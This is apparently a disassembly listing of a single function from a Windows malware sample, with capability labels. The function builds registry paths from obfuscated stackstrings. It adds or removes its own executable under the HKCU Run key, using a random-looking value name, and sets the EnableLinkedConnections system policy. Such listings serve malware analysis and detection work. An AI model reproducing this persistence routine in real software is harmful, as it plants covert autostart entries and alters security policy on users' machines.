Function at 0x405720
Capabilities:
Contain obfuscated stackstrings
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74c
push ebx
push esi
push edi
lea eax, [ebp - 0x130]
mov dword [ebp - 0x12c], 1
push eax
lea eax, [ebp - 4]
mov dword [ebp - 0xb4], 0x4f0053
push eax
push 0
push 0x2001f
push 0
push 0
push 0
lea eax, [ebp - 0xb4]
mov dword [ebp - 0xb0], 0x540046
push eax
push 0x80000001
xor bl, bl
mov dword [ebp - 0xac], 0x410057
mov dword [ebp - 0xa8], 0x450052
mov dword [ebp - 0xa4], 0x4d005c
mov dword [ebp - 0xa0], 0x630069
mov dword [ebp - 0x9c], 0x6f0072
mov dword [ebp - 0x98], 0x6f0073
mov dword [ebp - 0x94], 0x740066
mov dword [ebp - 0x90], 0x57005c
mov dword [ebp - 0x8c], 0x6e0069
mov dword [ebp - 0x88], 0x6f0064
mov dword [ebp - 0x84], 0x730077
mov dword [ebp - 0x80], 0x43005c
mov dword [ebp - 0x7c], 0x720075
mov dword [ebp - 0x78], 0x650072
mov dword [ebp - 0x74], 0x74006e
mov dword [ebp - 0x70], 0x650056
mov dword [ebp - 0x6c], 0x730072
mov dword [ebp - 0x68], 0x6f0069
mov dword [ebp - 0x64], 0x5c006e
mov dword [ebp - 0x60], 0x750052
mov dword [ebp - 0x5c], 0x6e
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x405b07
mov dword [ebp - 0x1c], 0x4f0058
mov dword [ebp - 0x18], 0x580031
mov dword [ebp - 0x14], 0x440041
mov dword [ebp - 0x10], 0x4f0070
mov dword [ebp - 0xc], 0x310030
mov word [ebp - 8], ax
cmp dword [ebp + 8], eax
je 0x405882
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0x104
lea eax, [ebp - 0x544]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
xor eax, eax
mov dword [ebp + 8], 0x104
mov word [ebp - 0x20], ax
lea eax, [ebp - 0x544]
push eax
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 0x250022
push eax
lea eax, [ebp - 0x33c]
mov dword [ebp - 0x24], 0x220053
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov edi, eax
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x74c]
push eax
lea eax, [ebp - 0x12c]
push eax
push 0
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x405916
lea eax, [ebp - 0x33c]
push eax
lea eax, [ebp - 0x74c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpW]
test eax, eax
sete bl
test eax, eax
je 0x405933
lea eax, [edi + edi]
push eax
lea eax, [ebp - 0x33c]
push eax
push 1
push 0
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 4]
call esi
test eax, eax
sete bl
push dword [ebp - 4]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call edi
lea eax, [ebp - 0x130]
mov dword [ebp - 0x128], 0x4f0053
push eax
lea eax, [ebp - 4]
mov dword [ebp - 0x124], 0x540046
push eax
push 0
push 0x2001f
push 0
push 0
push 0
lea eax, [ebp - 0x128]
mov dword [ebp - 0x120], 0x410057
push eax
push 0x80000002
mov dword [ebp - 0x11c], 0x450052
mov dword [ebp - 0x118], 0x4d005c
mov dword [ebp - 0x114], 0x630069
mov dword [ebp - 0x110], 0x6f0072
mov dword [ebp - 0x10c], 0x6f0073
mov dword [ebp - 0x108], 0x740066
mov dword [ebp - 0x104], 0x57005c
mov dword [ebp - 0x100], 0x6e0069
mov dword [ebp - 0xfc], 0x6f0064
mov dword [ebp - 0xf8], 0x730077
mov dword [ebp - 0xf4], 0x43005c
mov dword [ebp - 0xf0], 0x720075
mov dword [ebp - 0xec], 0x650072
mov dword [ebp - 0xe8], 0x74006e
mov dword [ebp - 0xe4], 0x650056
mov dword [ebp - 0xe0], 0x730072
mov dword [ebp - 0xdc], 0x6f0069
mov dword [ebp - 0xd8], 0x5c006e
mov dword [ebp - 0xd4], 0x6f0050
mov dword [ebp - 0xd0], 0x69006c
mov dword [ebp - 0xcc], 0x690063
mov dword [ebp - 0xc8], 0x730065
mov dword [ebp - 0xc4], 0x53005c
mov dword [ebp - 0xc0], 0x730079
mov dword [ebp - 0xbc], 0x650074
mov dword [ebp - 0xb8], 0x6d
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x405b07
push 4
lea eax, [ebp - 0x134]
mov dword [ebp - 0x58], 0x6e0045
push eax
push 4
push 0
lea eax, [ebp - 0x58]
mov dword [ebp - 0x54], 0x620061
push eax
push dword [ebp - 4]
mov dword [ebp - 0x50], 0x65006c
mov dword [ebp - 0x4c], 0x69004c
mov dword [ebp - 0x48], 0x6b006e
mov dword [ebp - 0x44], 0x640065
mov dword [ebp - 0x40], 0x6f0043
mov dword [ebp - 0x3c], 0x6e006e
mov dword [ebp - 0x38], 0x630065
mov dword [ebp - 0x34], 0x690074
mov dword [ebp - 0x30], 0x6e006f
mov dword [ebp - 0x2c], 0x73
mov dword [ebp - 0x134], 1
call esi
push dword [ebp - 4]
call edi
pop edi
pop esi
movzx eax, bl
pop ebx
mov esp, ebp
pop ebp
ret 4